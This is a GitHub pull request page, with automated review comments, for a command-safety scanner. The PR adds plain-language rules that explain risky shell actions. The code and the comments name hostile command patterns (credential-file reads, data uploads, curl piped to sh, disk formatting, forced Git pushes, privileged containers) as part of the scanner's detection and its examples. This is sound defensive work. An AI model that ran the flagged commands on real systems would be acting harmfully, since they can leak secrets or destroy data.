feat: expand Everyday semantic coverage (EVM-201–300) - #2677
feat: expand Everyday semantic coverage (EVM-201–300)#2677kantorcodes wants to merge 32 commits into
Conversation
…istic render tests
|
ⓘ Your Qodo trial ends soon. Ask your workspace admin to set up billing to keep reviews running after the trial. Manage billing |
|
Important Review skippedAuto reviews are disabled on base/target branches other than the default branch. 🗂️ Base branches to auto review (2)
Please check the settings in the CodeRabbit UI or the ⚙️ Run configurationConfiguration used: Repository UI (base), Organization UI (inherited) Review profile: CHILL Plan: Team Run ID: You can disable this status message by setting the Use the checkbox below for a quick retry:
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
PR Summary by QodoExpand deterministic Everyday action semantics for EVM-201–300
AI Description
Diagram
High-Level Assessment
Files changed (23)
|
Code Review by Qodo
1. Python contract module missing
|
| from .action_explanation_contract import ( | ||
| ACTION_EXPLANATION_REDACTION_VERSION, | ||
| ACTION_EXPLANATION_RENDERER_VERSION, | ||
| GuardActionExplanationV1, | ||
| parse_action_explanation, | ||
| ) |
There was a problem hiding this comment.
2. Python contract module missing 🐞 Bug ≡ Correctness
Both new runtime modules import action_explanation_contract, but that module is absent from the PR branch, so importing either module raises ModuleNotFoundError and the workflow's pytest validation cannot run. This prevents all new Core explanation functionality from loading.
Agent Prompt
## Issue description
The new explanation runtime imports a contract module that is not present, so tests and runtime imports fail.
## Issue Context
Provide the contract classes, constants, parser, and action-kind definitions consumed by both new runtime modules.
## Fix Focus Areas
- src/codex_plugin_scanner/guard/runtime/action_explanation_builder.py[18-23]
- src/codex_plugin_scanner/guard/runtime/semantic_explanations.py[19-27]
ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools
| def build_action_explanation( | ||
| *, | ||
| action_envelope: Mapping[str, object], | ||
| action_identity: str, | ||
| actor_label: str, | ||
| canonical_command: CanonicalCommand | None = None, | ||
| risk_signals: Sequence[str] = (), | ||
| extension_ids: Sequence[str] = (), | ||
| rule_ids: Sequence[str] = (), | ||
| build_context: ExplanationBuildContext | None = None, | ||
| retained: bool = True, | ||
| exact_details_authorized: bool = False, | ||
| ) -> GuardActionExplanationV1: |
There was a problem hiding this comment.
3. Core builder never runs 🐞 Bug ≡ Correctness
The new build_action_explanation entry point has no production caller and ActionExplanation is not rendered by the application, so the committed Everyday semantics never reach decisions, approvals, executions, receipts, daemon responses, or dashboard users. Adding the catalog code without connecting it to the authoritative action pipeline leaves the feature unavailable in production.
Agent Prompt
## Issue description
The explanation builder is implemented but has no production caller, and its `ActionExplanation` output is not rendered, so it cannot provide explanations for actions shown in Guard.
## Issue Context
Invoke the builder where authoritative canonical actions and identities are assembled, then project its versioned output into the intended approval and receipt API surfaces using the required authorization and retention inputs. The existing production `guard explain` command uses a different documentation payload path, and no runtime or dashboard surface currently imports the new builder or component.
## Fix Focus Areas
- src/codex_plugin_scanner/guard/runtime/action_explanation_builder.py[143-173]
- src/codex_plugin_scanner/guard/cli/commands_dispatch_admin.py[173-189]
- dashboard/src/action-explanation.tsx[154-187]
ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools
| export function ActionExplanation({ | ||
| explanation, | ||
| actionIdentity, | ||
| canonicalIdentity, | ||
| }: { | ||
| explanation: GuardActionExplanationV1; | ||
| actionIdentity: string; | ||
| canonicalIdentity?: string | null; | ||
| }) { |
There was a problem hiding this comment.
4. Explanation ui is unreachable 🐞 Bug ≡ Correctness
ActionExplanation is only rendered by the new test and is never used by any production dashboard workspace, so wrapping <App> in the presentation provider does not display Everyday explanations anywhere. After the build blockers are fixed, users still cannot see the feature described by the PR.
Agent Prompt
## Issue description
The explanation component is not connected to any production dashboard action surface.
## Issue Context
Plumb the versioned explanation payload and current identities into approval/receipt views and render `ActionExplanation` there.
## Fix Focus Areas
- dashboard/src/action-explanation.tsx[154-189]
- dashboard/src/main.tsx[16-22]
ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools
| def validate_builtin_explanation_coverage( | ||
| *, | ||
| rule_ids: Sequence[str], | ||
| catalog: CommandExtensionExplanationCatalog, | ||
| explicit_generic_fallbacks: Sequence[str] = (), | ||
| ) -> None: |
There was a problem hiding this comment.
5. Metadata catalog is disconnected 🐞 Bug ≡ Correctness
The new extension metadata parser, coverage validator, and combined digest have no production callers, so built-in rules are never checked for explanation coverage and metadata changes never affect the runtime catalog digest. The documented extension explanation guarantees therefore exist only in unit tests.
Agent Prompt
## Issue description
Extension explanation metadata is parsed and tested but never loaded or validated by production code.
## Issue Context
Integrate verified metadata with the built-in extension registry, run coverage validation, and use the bound digest in generated explanations.
## Fix Focus Areas
- src/codex_plugin_scanner/guard/runtime/command_extension_explanations.py[105-156]
ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools
| builder = Path('src/codex_plugin_scanner/guard/runtime/action_explanation_builder.py') | ||
| text = builder.read_text() | ||
| anchor = ' material = [step for step in step_explanations if step.kind != "unknown_action"]\n' | ||
| detection = ''' shell_runners = {"sh", "bash", "zsh", "fish", "pwsh", "powershell", "cmd", "python", "python3", "node"}\n download_and_execute = bool(\n step_explanations\n and step_explanations[0].kind in {"network_read", "download"}\n and any(str(segment.executable or "").casefold() in shell_runners for segment in command.segments[1:])\n )\n''' |
There was a problem hiding this comment.
6. Separators mimic pipe execution 🐞 Bug ≡ Correctness
The injected download_and_execute detector treats any later interpreter segment as consuming the download, so curl https://example.test/status; sh local.sh is labeled as passing downloaded content directly to the interpreter even though the commands are independent. The canonical model already records execution context and pipeline index, but the detector ignores both.
Agent Prompt
## Issue description
Download-and-execute detection conflates sequential commands with a download piped into an interpreter.
## Issue Context
Use canonical execution context and adjacent pipeline indexes to prove the interpreter consumes the network command's output.
## Fix Focus Areas
- .github/workflows/everyday-mode-implement-201-300.yml[55-62]
- src/codex_plugin_scanner/guard/runtime/command_model.py[293-318]
ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools
| rules = ''' SemanticRule(\n rule_id="system.disk_destructive",\n action_kind="disk_change",\n executables=_SYSTEM_EXECUTABLES,\n required_tokens=(frozenset({"format", "clean", "create", "delete", "mkfs", "--all", "/q"}),),\n headline="Erase or reconfigure a storage drive",\n summary="{actor} wants to make a destructive storage change involving {target}.",\n impact="Files on the affected drive or partition can be permanently lost and the system may become unusable.",\n recommendation="Confirm the exact drive or partition and make sure required data is backed up.",\n target_strategy="system",\n confidence="derived",\n consequence_level="critical",\n safer_alternatives=(("preview", "List the exact drive or partition first."), ("backup", "Back up important data before changing storage.")),\n ),\n SemanticRule(\n rule_id="system.power",\n action_kind="system_change",\n executables=_SYSTEM_EXECUTABLES,\n headline="Change this computer's power state",\n summary="{actor} wants to shut down, restart, halt, or otherwise change {target}.",\n impact="Running work can be interrupted and unsaved changes may be lost.",\n recommendation="Confirm that stopping or restarting this computer is expected.",\n target_strategy="system",\n confidence="derived",\n consequence_level="high",\n safer_alternatives=(("review", "Save active work and confirm the host first."),),\n ),\n SemanticRule(\n rule_id="process.service",\n action_kind="process_stop",\n executables=_PROCESS_EXECUTABLES,\n headline="Stop or change a running process or service",\n summary="{actor} wants to control {target}.",\n impact="Applications, background services, or recurring jobs may stop working or become unavailable.",\n recommendation="Confirm the exact process, service, or job and use the narrowest action.",\n target_strategy="process",\n confidence="derived",\n consequence_level="high",\n safer_alternatives=(("preview", "Identify the exact running process or service first."), ("narrow", "Target only the intended process or service.")),\n ),\n SemanticRule(\n rule_id="git.remote_rewrite",\n action_kind="git_remote_change",\n executables=_GIT_EXECUTABLES,\n required_tokens=(frozenset({"push"}), frozenset({"--force", "-f", "--force-with-lease", "--delete"})),\n headline="Rewrite or delete shared Git history",\n summary="{actor} wants to change shared repository history involving {target}.",\n impact="Other collaborators can lose commits or need to repair their local branches.",\n recommendation="Review the remote and branch, preserve a backup ref, and prefer force-with-lease when rewriting is intentional.",\n target_strategy="git",\n confidence="exact",\n consequence_level="high",\n safer_alternatives=(("backup", "Create a backup branch or tag first."), ("narrow", "Prefer force-with-lease over an unconditional force push.")),\n ),\n SemanticRule(\n rule_id="git.remote_change",\n action_kind="git_remote_change",\n executables=_GIT_EXECUTABLES,\n required_tokens=(frozenset({"remote", "push", "fetch"}), frozenset({"set-url", "remove", "rename", "--delete"})),\n headline="Change a Git remote or shared reference",\n summary="{actor} wants to change {target}.",\n impact="Future pushes, fetches, or shared references can point somewhere different or disappear.",\n recommendation="Confirm the remote repository and reference before continuing.",\n target_strategy="git",\n confidence="derived",\n consequence_level="high",\n safer_alternatives=(("preview", "List remotes and references first."),),\n ),\n SemanticRule(\n rule_id="git.local_destructive",\n action_kind="git_history_rewrite",\n executables=_GIT_EXECUTABLES,\n required_tokens=(frozenset({"reset", "clean", "restore", "checkout", "rebase", "branch"}),),\n headline="Discard or rewrite local Git work",\n summary="{actor} wants to change local repository history involving {target}.",\n impact="Uncommitted files, staged work, local commits, or branches can be lost.",\n recommendation="Inspect the changes first and create a stash or backup branch when anything must be preserved.",\n target_strategy="git",\n confidence="derived",\n consequence_level="high",\n safer_alternatives=(("preview", "Review Git status and the affected commits first."), ("backup", "Stash changes or create a backup branch.")),\n ),\n SemanticRule(\n rule_id="package.script",\n action_kind="package_script",\n executables=_PACKAGE_SCRIPT_EXECUTABLES,\n required_tokens=(frozenset({"run", "run-script", "exec", "x", "dlx", "postinstall", "prepare", "prepublish", "build"}),),\n headline="Run a project or package script",\n summary="{actor} wants to run {target}.",\n impact="The script can change files, start processes, contact the network, or run code from installed dependencies.",\n recommendation="Inspect the script definition and run only the narrowest expected target.",\n target_strategy="package_script",\n confidence="derived",\n consequence_level="medium",\n safer_alternatives=(("preview", "Inspect the script definition before running it."), ("narrow", "Run only the specific expected script.")),\n ),\n SemanticRule(\n rule_id="container.privileged",\n action_kind="container_change",\n executables=_CONTAINER_EXECUTABLES,\n required_tokens=(frozenset({"run", "create"}), frozenset({"--privileged", "--pid=host", "--network=host", "--mount", "-v", "--volume"})),\n headline="Run a container with broad host access",\n summary="{actor} wants to run {target} with access that can reach parts of this computer.",\n impact="The container may be able to read secrets, modify host files, or expose services beyond the container boundary.",\n recommendation="Use a pinned image, read-only filesystem, and the narrowest mounts and capabilities possible.",\n target_strategy="container",\n confidence="derived",\n consequence_level="high",\n safer_alternatives=(("isolate", "Use a read-only filesystem and narrow mounts."), ("narrow", "Remove privileged or host-wide access when it is not required.")),\n ),\n SemanticRule(\n rule_id="container.destructive",\n action_kind="container_change",\n executables=_CONTAINER_EXECUTABLES,\n required_tokens=(frozenset({"rm", "prune", "system", "volume", "network"}),),\n headline="Delete or reconfigure container data",\n summary="{actor} wants to change {target}.",\n impact="Containers, images, volumes, networks, or cached data may be removed and may not be recoverable.",\n recommendation="Preview affected container resources before deleting them.",\n target_strategy="container",\n confidence="derived",\n consequence_level="high",\n safer_alternatives=(("preview", "List the affected containers, images, volumes, and networks first."),),\n ),\n SemanticRule(\n rule_id="container.change",\n action_kind="container_change",\n executables=_CONTAINER_EXECUTABLES,\n required_tokens=(frozenset({"run", "create", "exec", "start", "stop", "restart", "pull", "build"}),),\n headline="Run or change a container workload",\n summary="{actor} wants to change {target}.",\n impact="Containerized code can change files, processes, networks, and data available to the container.",\n recommendation="Confirm the image, command, mounts, and network access before continuing.",\n target_strategy="container",\n confidence="derived",\n consequence_level="medium",\n safer_alternatives=(("narrow", "Use a pinned image and the narrowest permissions."),),\n ),\n''' | ||
| rule_anchor = 'SEMANTIC_RULES: tuple[SemanticRule, ...] = (\n' | ||
| if 'rule_id="system.disk_destructive"' not in text: | ||
| text = text.replace(rule_anchor, rule_anchor + rules) |
There was a problem hiding this comment.
11. Coverage is not checked in 🐞 Bug ≡ Correctness
The EVM-201–300 semantic rules and download-and-execute behavior exist only as Python strings executed by the branch workflow, while the committed runtime catalog ends after the existing package-install rule. Merging this diff without that mutable-branch workflow first completing leaves disk, power, Git, process, package-script, container, and download-and-execute explanations absent from the release source.
Agent Prompt
## Issue description
EVM-201–300 implementations are embedded in a self-mutating CI workflow instead of committed runtime source, so the merged release does not contain the advertised semantic coverage.
## Issue Context
The workflow injects rules and compound download-execution detection only when it runs against a mutable feature branch.
## Fix Focus Areas
- .github/workflows/everyday-mode-implement-201-300.yml[30-63]
- src/codex_plugin_scanner/guard/runtime/semantic_explanations.py[176-352]
- src/codex_plugin_scanner/guard/runtime/action_explanation_builder.py[256-395]
ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools
| import { fetchSettings, updateSettings } from "./guard-api"; | ||
| import { | ||
| PRESENTATION_SCHEMA_VERSION, | ||
| resolvePresentationMode, | ||
| type GuardPresentationMode, | ||
| type GuardPresentationSource, | ||
| type ResolvedGuardPresentationMode, | ||
| } from "./presentation-mode"; |
There was a problem hiding this comment.
12. Presentation module is missing 🐞 Bug ≡ Correctness
The new dashboard provider and action-explanation components import a nonexistent ./presentation-mode module, and the code also depends on an absent GuardActionExplanationV1 export and presentation fields in the GuardSettings contract. Because main.tsx mounts the provider unconditionally, TypeScript/Vite cannot resolve the dependencies and the production dashboard build is blocked.
Agent Prompt
## Issue description
Fix the dashboard build failure caused by new code depending on a nonexistent `presentation-mode` module, an absent `GuardActionExplanationV1` export, and missing presentation fields in the guard settings contract.
## Issue Context
The presentation-mode provider is mounted unconditionally by the main application entry point, and the action-explanation component imports the same missing module. Add and export the required presentation-mode implementation and Guard explanation/settings types, then ensure the production Vite build can resolve them.
## Fix Focus Areas
- dashboard/src/presentation-mode-provider.tsx[11-18]
- dashboard/src/action-explanation.tsx[3-5]
- dashboard/src/main.tsx[16-21]
- dashboard/src/guard-types.ts[892-917]
ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools
| @@ -0,0 +1,189 @@ | |||
| import { useEffect, useId, useState, type ReactNode } from "react"; | |||
|
|
|||
| import type { GuardActionExplanationV1 } from "./guard-types"; | |||
There was a problem hiding this comment.
13. Contract type is missing 🐞 Bug ≡ Correctness
ActionExplanation imports GuardActionExplanationV1, but guard-types.ts does not export that type. This independently prevents the added component and its test from type-checking.
Agent Prompt
## Issue description
The new React component references a Guard action explanation type that is absent from the dashboard type contract.
## Issue Context
The component and its tests require the type at compile time.
## Fix Focus Areas
- dashboard/src/action-explanation.tsx[3-3]
- dashboard/src/guard-types.ts[892-917]
- dashboard/src/action-explanation.test.tsx[7-9]
ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools
| const payload = await updateSettings({ | ||
| presentation_mode: mode, | ||
| presentation_revision: current.revision, | ||
| }); |
There was a problem hiding this comment.
14. Settings model rejects preference 🐞 Bug ≡ Correctness
setMode sends presentation fields to updateSettings, whose parameter is Partial<GuardSettings> and whose declared settings model has no presentation fields. The object literal is rejected by TypeScript, and no typed API contract is added for persisting the preference.
Agent Prompt
## Issue description
Presentation preference writes use undeclared fields, so the provider cannot type-check or reliably persist the preference.
## Issue Context
`updateSettings` accepts `Partial<GuardSettings>` and forwards that shape to `/v1/settings`.
## Fix Focus Areas
- dashboard/src/presentation-mode-provider.tsx[133-145]
- dashboard/src/guard-api.ts[2155-2167]
- dashboard/src/guard-types.ts[892-917]
ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools
| - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 | ||
| with: | ||
| ref: feat/everyday-mode-201-300 | ||
| fetch-depth: 1 | ||
| persist-credentials: false | ||
| - run: git archive --format=tar.gz --output="$RUNNER_TEMP/source.tar.gz" HEAD | ||
| - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a | ||
| with: | ||
| name: everyday-mode-201-300-source-${{ github.sha }} | ||
| path: ${{ runner.temp }}/source.tar.gz |
There was a problem hiding this comment.
15. Export artifact names wrong commit 🐞 Bug ☼ Reliability
Both workflows check out a mutable branch name rather than the triggering push event’s commit, so a
queued run can process a later branch tip. The export job may consequently archive one commit’s
HEAD while labeling the artifact with the older ${{ github.sha }}, and the implementation job
may validate or attempt to push a different revision.
Agent Prompt
## Issue description
Workflow outputs are not pinned to the commit identified by their push event. If the feature branch advances while a run is queued or active, the source archive can contain a different commit from the SHA embedded in its artifact name, and the implementation job can validate or attempt to push a different revision.
## Issue Context
The workflows check out a mutable branch ref instead of `${{ github.sha }}`. The export job archives the checkout’s `HEAD` but names the artifact using the immutable event SHA; use the event SHA for deterministic validation and export, and explicitly handle branch advancement before any final push.
## Fix Focus Areas
- .github/workflows/everyday-mode-source-export-201-300.yml[16-25]
- .github/workflows/everyday-mode-implement-201-300.yml[21-24]
- .github/workflows/everyday-mode-implement-201-300.yml[114-122]
ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools
| rule_id="filesystem.delete.recursive", | ||
| action_kind="file_delete", | ||
| executables=_DELETE_EXECUTABLES, | ||
| required_tokens=(frozenset({"-r", "-rf", "-fr", "--recursive", "/s", "-recurse"}),), | ||
| headline="Delete a folder and everything inside it", | ||
| summary="{actor} wants to permanently remove {target}, including files and subfolders.", | ||
| impact="Files that are not backed up may be difficult or impossible to recover.", | ||
| recommendation="Confirm that the folder is the intended one and that important work is backed up.", | ||
| target_strategy="filesystem", | ||
| confidence="exact", | ||
| consequence_level="high", | ||
| safer_alternatives=(("preview", "Preview the folder contents first."), ("backup", "Create a backup before deleting it.")), | ||
| ), | ||
| SemanticRule( | ||
| rule_id="filesystem.delete", | ||
| action_kind="file_delete", | ||
| executables=_DELETE_EXECUTABLES, | ||
| headline="Delete a file or folder", | ||
| summary="{actor} wants to permanently remove {target}.", | ||
| impact="The removed item may not be recoverable.", | ||
| recommendation="Confirm the target and keep a backup of anything important.", | ||
| target_strategy="filesystem", | ||
| confidence="exact", | ||
| consequence_level="high", | ||
| safer_alternatives=(("preview", "Inspect the target first."), ("backup", "Create a backup before deleting it.")), | ||
| ), | ||
| SemanticRule( | ||
| rule_id="filesystem.copy", | ||
| action_kind="file_write", | ||
| executables=_COPY_EXECUTABLES, | ||
| headline="Copy files or folders", | ||
| summary="{actor} wants to copy data involving {target}.", | ||
| impact="Existing files at the destination may be replaced, and additional copies may contain sensitive information.", | ||
| recommendation="Confirm the destination and whether replacing existing files is intended.", | ||
| target_strategy="filesystem", | ||
| confidence="derived", | ||
| consequence_level="medium", | ||
| safer_alternatives=(("preview", "Preview destination conflicts first."), ("backup", "Back up files that may be replaced.")), | ||
| ), | ||
| SemanticRule( | ||
| rule_id="filesystem.move", | ||
| action_kind="file_move", | ||
| executables=_MOVE_EXECUTABLES, | ||
| headline="Move or rename files", | ||
| summary="{actor} wants to move or rename data involving {target}.", | ||
| impact="Programs or links that expect the old location may stop working, and existing destination files may be replaced.", | ||
| recommendation="Confirm both the source and destination before continuing.", | ||
| target_strategy="filesystem", | ||
| confidence="derived", | ||
| consequence_level="medium", | ||
| safer_alternatives=(("preview", "Preview destination conflicts first."), ("backup", "Back up files that may be replaced.")), | ||
| ), | ||
| SemanticRule( | ||
| rule_id="filesystem.permissions", | ||
| action_kind="permission_change", | ||
| executables=_PERMISSION_EXECUTABLES, | ||
| headline="Change who can access files", | ||
| summary="{actor} wants to change ownership or access permissions for {target}.", | ||
| impact="The change may expose private data or prevent you and your apps from opening the affected files.", | ||
| recommendation="Use the narrowest permissions needed and verify the exact target.", | ||
| target_strategy="filesystem", | ||
| confidence="derived", | ||
| consequence_level="high", | ||
| safer_alternatives=(("preview", "Inspect current permissions first."), ("narrow", "Limit the change to the smallest required path and permission.")), | ||
| ), | ||
| SemanticRule( | ||
| rule_id="credentials.read", | ||
| action_kind="secret_read", | ||
| executables=_READ_EXECUTABLES, | ||
| headline="Read saved credentials", | ||
| summary="{actor} wants to read {target}.", | ||
| impact="The contents may include passwords, private keys, access tokens, or other secrets.", | ||
| recommendation="Only continue when this app needs the credential and you trust where the data will be used.", | ||
| target_strategy="sensitive", | ||
| confidence="exact", | ||
| consequence_level="high", | ||
| safer_alternatives=(("narrow", "Use a credential helper or narrowly scoped environment variable instead."),), | ||
| ), | ||
| SemanticRule( | ||
| rule_id="network.upload", | ||
| action_kind="network_send", | ||
| executables=_NETWORK_EXECUTABLES, | ||
| required_tokens=(frozenset({"-d", "--data", "--data-binary", "--form", "--upload-file", "--body", "-infile"}),), | ||
| headline="Send data to a website", | ||
| summary="{actor} wants to send data to {target}.", | ||
| impact="The destination may retain, process, or redistribute the sent information.", | ||
| recommendation="Confirm the destination and make sure no private files or credentials are included.", | ||
| target_strategy="network", | ||
| confidence="derived", | ||
| consequence_level="high", | ||
| safer_alternatives=(("narrow", "Send only the minimum required data."), ("review", "Verify the destination before sending anything private.")), | ||
| ), | ||
| SemanticRule( | ||
| rule_id="network.download", | ||
| action_kind="download", | ||
| executables=_NETWORK_EXECUTABLES, | ||
| required_tokens=(frozenset({"-o", "--output", "-outfile", "--remote-name", "-o-"}),), | ||
| headline="Download a file from the internet", | ||
| summary="{actor} wants to download content from {target} and save it on this computer.", | ||
| impact="Downloaded files can replace local data or contain unsafe software.", | ||
| recommendation="Verify the source and inspect the downloaded file before opening or running it.", | ||
| target_strategy="network", | ||
| confidence="derived", | ||
| consequence_level="medium", | ||
| safer_alternatives=(("preview", "Download the file without running it automatically."), ("review", "Verify a checksum or signature when available.")), | ||
| ), | ||
| SemanticRule( | ||
| rule_id="network.request", | ||
| action_kind="network_read", | ||
| executables=_NETWORK_EXECUTABLES, | ||
| headline="Connect to a website or service", | ||
| summary="{actor} wants to contact {target}.", | ||
| impact="The destination can observe request details and may return untrusted content.", | ||
| recommendation="Confirm that the destination is expected and trusted.", | ||
| target_strategy="network", | ||
| confidence="derived", | ||
| consequence_level="medium", | ||
| safer_alternatives=(("preview", "Use a read-only or preview request when available."),), | ||
| ), | ||
| SemanticRule( | ||
| rule_id="network.remote-copy", | ||
| action_kind="network_send", | ||
| executables=_REMOTE_COPY_EXECUTABLES, | ||
| headline="Transfer files to or from another computer", | ||
| summary="{actor} wants to transfer data involving {target}.", | ||
| impact="Files may leave this computer, arrive from an untrusted host, or replace existing data.", | ||
| recommendation="Confirm the remote computer, direction, and exact files.", | ||
| target_strategy="remote", | ||
| confidence="derived", | ||
| consequence_level="high", | ||
| safer_alternatives=(("isolate", "Use a dedicated empty destination folder."), ("review", "Verify the remote host identity first.")), | ||
| ), | ||
| SemanticRule( | ||
| rule_id="package.publish", | ||
| action_kind="network_send", | ||
| executables=_PACKAGE_EXECUTABLES, | ||
| required_tokens=(frozenset({"publish", "upload", "push"}),), | ||
| headline="Publish a software package", | ||
| summary="{actor} wants to publish {target} to a package service.", | ||
| impact="Published code or files may become available to other people and can be difficult to retract completely.", | ||
| recommendation="Review the package contents, destination account, version, and included secrets before publishing.", | ||
| target_strategy="package", | ||
| confidence="exact", | ||
| consequence_level="high", | ||
| safer_alternatives=(("preview", "Run a package dry run or inspect the archive first."),), | ||
| ), | ||
| SemanticRule( | ||
| rule_id="package.remove", | ||
| action_kind="package_remove", | ||
| executables=_PACKAGE_EXECUTABLES, | ||
| required_tokens=(frozenset({"remove", "rm", "uninstall", "erase"}),), | ||
| headline="Remove software packages", | ||
| summary="{actor} wants to remove {target}.", | ||
| impact="Apps, scripts, or project builds that depend on the package may stop working.", | ||
| recommendation="Confirm the package and scope before removing it.", | ||
| target_strategy="package", | ||
| confidence="exact", | ||
| consequence_level="medium", | ||
| safer_alternatives=(("review", "Check which projects depend on the package first."),), | ||
| ), | ||
| SemanticRule( | ||
| rule_id="package.install", | ||
| action_kind="package_install", | ||
| executables=_PACKAGE_EXECUTABLES, | ||
| required_tokens=(frozenset({"install", "add", "i", "get"}),), | ||
| headline="Install software packages", | ||
| summary="{actor} wants to install {target}.", | ||
| impact="Package installation can run third-party code and change project or system files.", | ||
| recommendation="Confirm the package name, source, version, and whether installation is limited to this project.", | ||
| target_strategy="package", | ||
| confidence="exact", | ||
| consequence_level="medium", | ||
| safer_alternatives=(("narrow", "Pin an exact version."), ("isolate", "Install inside an isolated project environment.")), | ||
| ), | ||
| ) |
There was a problem hiding this comment.
High: Claimed EVM-201–300 semantic families are not in the Core catalog; only the earlier 13 filesystem/network/package rules ship.
The PR title, body, and docs/guard/everyday-mode/semantic-coverage-201-300.md state coverage for disk/power, process/service, local and remote Git, download-and-execute, package scripts, and containers. SEMANTIC_RULES in semantic_explanations.py still only defines filesystem.delete/copy/move/permissions, credentials.read, network.upload/download/request/remote-copy, and package.publish/remove/install. The commit titled "feat: implement Everyday Mode EVM 201-300" only added the implement workflow; that workflow's inlined Python was supposed to inject the new rules, target strategies, download_and_execute compound handling, tests/test_guard_everyday_semantic_201_300.py, and dashboard coverage, but those artifacts are absent at HEAD. Commands such as git push --force, git reset --hard, docker run --privileged, format C:, shutdown, taskkill, npm run build, and curl … | sh therefore fall through to unknown_action / limited confidence instead of the promised everyday explanations. Land the intended catalog, strategies, compound download+execute path, and tests in the tree (or re-run and commit the workflow output), and drop the stale claim from the docs until they match.
| from .action_explanation_contract import ( | ||
| ACTION_EXPLANATION_REDACTION_VERSION, | ||
| ACTION_EXPLANATION_RENDERER_VERSION, | ||
| ACTION_EXPLANATION_SCHEMA_VERSION, | ||
| ACTION_EXPLANATION_VERSION, | ||
| ACTION_KINDS, | ||
| GuardActionExplanationV1, | ||
| parse_action_explanation, | ||
| ) |
There was a problem hiding this comment.
High: New Core explanation modules import action_explanation_contract, which does not exist on this branch.
semantic_explanations.py and action_explanation_builder.py both import ACTION_EXPLANATION_* constants, ACTION_KINDS, GuardActionExplanationV1, and parse_action_explanation from .action_explanation_contract. That module is not present at HEAD or at the PR merge base; it only exists on the current release/3.0 tip (Everyday foundation). Any import of explain_command or build_action_explanation raises ImportError, so the new tests and any consumer of these APIs cannot load. Rebase/merge onto the foundation commit that introduces the contract (and resolve conflicts), or vendor the contract into this branch before treating the catalog as shippable.
| import { | ||
| PRESENTATION_SCHEMA_VERSION, | ||
| resolvePresentationMode, | ||
| type GuardPresentationMode, | ||
| type GuardPresentationSource, | ||
| type ResolvedGuardPresentationMode, | ||
| } from "./presentation-mode"; |
There was a problem hiding this comment.
High: Dashboard presentation entrypoints import missing presentation-mode and will not compile on this HEAD.
main.tsx wraps the app in PresentationModeProvider. That provider and action-explanation.tsx import resolvePresentationMode, defaultTechnicalDisclosure, PRESENTATION_SCHEMA_VERSION, and related types from ./presentation-mode, but dashboard/src/presentation-mode.ts is absent at HEAD and at the merge base (it only exists on the current release/3.0 tip). Bundling or typechecking the dashboard fails on the unresolved module, and action-explanation.test.tsx cannot run even if wired. Bring presentation-mode.ts onto the branch via rebase onto the Everyday foundation, or stop mounting the provider until the dependency is present.
| contents: write | ||
|
|
||
| concurrency: | ||
| group: everyday-mode-implement-201-300 | ||
| cancel-in-progress: false | ||
|
|
||
| jobs: | ||
| implement: | ||
| if: github.actor != 'github-actions[bot]' | ||
| runs-on: ubuntu-24.04 | ||
| timeout-minutes: 60 | ||
| steps: | ||
| - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 | ||
| with: | ||
| ref: feat/everyday-mode-201-300 | ||
| fetch-depth: 0 | ||
| persist-credentials: true | ||
| - name: Implement semantic coverage | ||
| shell: bash | ||
| run: | | ||
| set -euo pipefail | ||
| python - <<'PY' | ||
| from pathlib import Path | ||
| import json | ||
|
|
||
| runtime = Path('src/codex_plugin_scanner/guard/runtime/semantic_explanations.py') | ||
| text = runtime.read_text() | ||
| constants = '''\n_SYSTEM_EXECUTABLES = frozenset({"mkfs", "format", "diskpart", "shutdown", "reboot", "poweroff", "halt"})\n_PROCESS_EXECUTABLES = frozenset({"kill", "pkill", "killall", "taskkill", "service", "systemctl", "launchctl", "sc", "schtasks"})\n_GIT_EXECUTABLES = frozenset({"git"})\n_CONTAINER_EXECUTABLES = frozenset({"docker", "podman", "nerdctl"})\n_PACKAGE_SCRIPT_EXECUTABLES = frozenset({"npm", "pnpm", "yarn", "bun", "npx", "pnpx"})\n''' | ||
| anchor = '\n\nSEMANTIC_RULES: tuple[SemanticRule, ...] = (\n' | ||
| if '_SYSTEM_EXECUTABLES' not in text: | ||
| text = text.replace(anchor, constants + anchor) | ||
|
|
||
| rules = ''' SemanticRule(\n rule_id="system.disk_destructive",\n action_kind="disk_change",\n executables=_SYSTEM_EXECUTABLES,\n required_tokens=(frozenset({"format", "clean", "create", "delete", "mkfs", "--all", "/q"}),),\n headline="Erase or reconfigure a storage drive",\n summary="{actor} wants to make a destructive storage change involving {target}.",\n impact="Files on the affected drive or partition can be permanently lost and the system may become unusable.",\n recommendation="Confirm the exact drive or partition and make sure required data is backed up.",\n target_strategy="system",\n confidence="derived",\n consequence_level="critical",\n safer_alternatives=(("preview", "List the exact drive or partition first."), ("backup", "Back up important data before changing storage.")),\n ),\n SemanticRule(\n rule_id="system.power",\n action_kind="system_change",\n executables=_SYSTEM_EXECUTABLES,\n headline="Change this computer's power state",\n summary="{actor} wants to shut down, restart, halt, or otherwise change {target}.",\n impact="Running work can be interrupted and unsaved changes may be lost.",\n recommendation="Confirm that stopping or restarting this computer is expected.",\n target_strategy="system",\n confidence="derived",\n consequence_level="high",\n safer_alternatives=(("review", "Save active work and confirm the host first."),),\n ),\n SemanticRule(\n rule_id="process.service",\n action_kind="process_stop",\n executables=_PROCESS_EXECUTABLES,\n headline="Stop or change a running process or service",\n summary="{actor} wants to control {target}.",\n impact="Applications, background services, or recurring jobs may stop working or become unavailable.",\n recommendation="Confirm the exact process, service, or job and use the narrowest action.",\n target_strategy="process",\n confidence="derived",\n consequence_level="high",\n safer_alternatives=(("preview", "Identify the exact running process or service first."), ("narrow", "Target only the intended process or service.")),\n ),\n SemanticRule(\n rule_id="git.remote_rewrite",\n action_kind="git_remote_change",\n executables=_GIT_EXECUTABLES,\n required_tokens=(frozenset({"push"}), frozenset({"--force", "-f", "--force-with-lease", "--delete"})),\n headline="Rewrite or delete shared 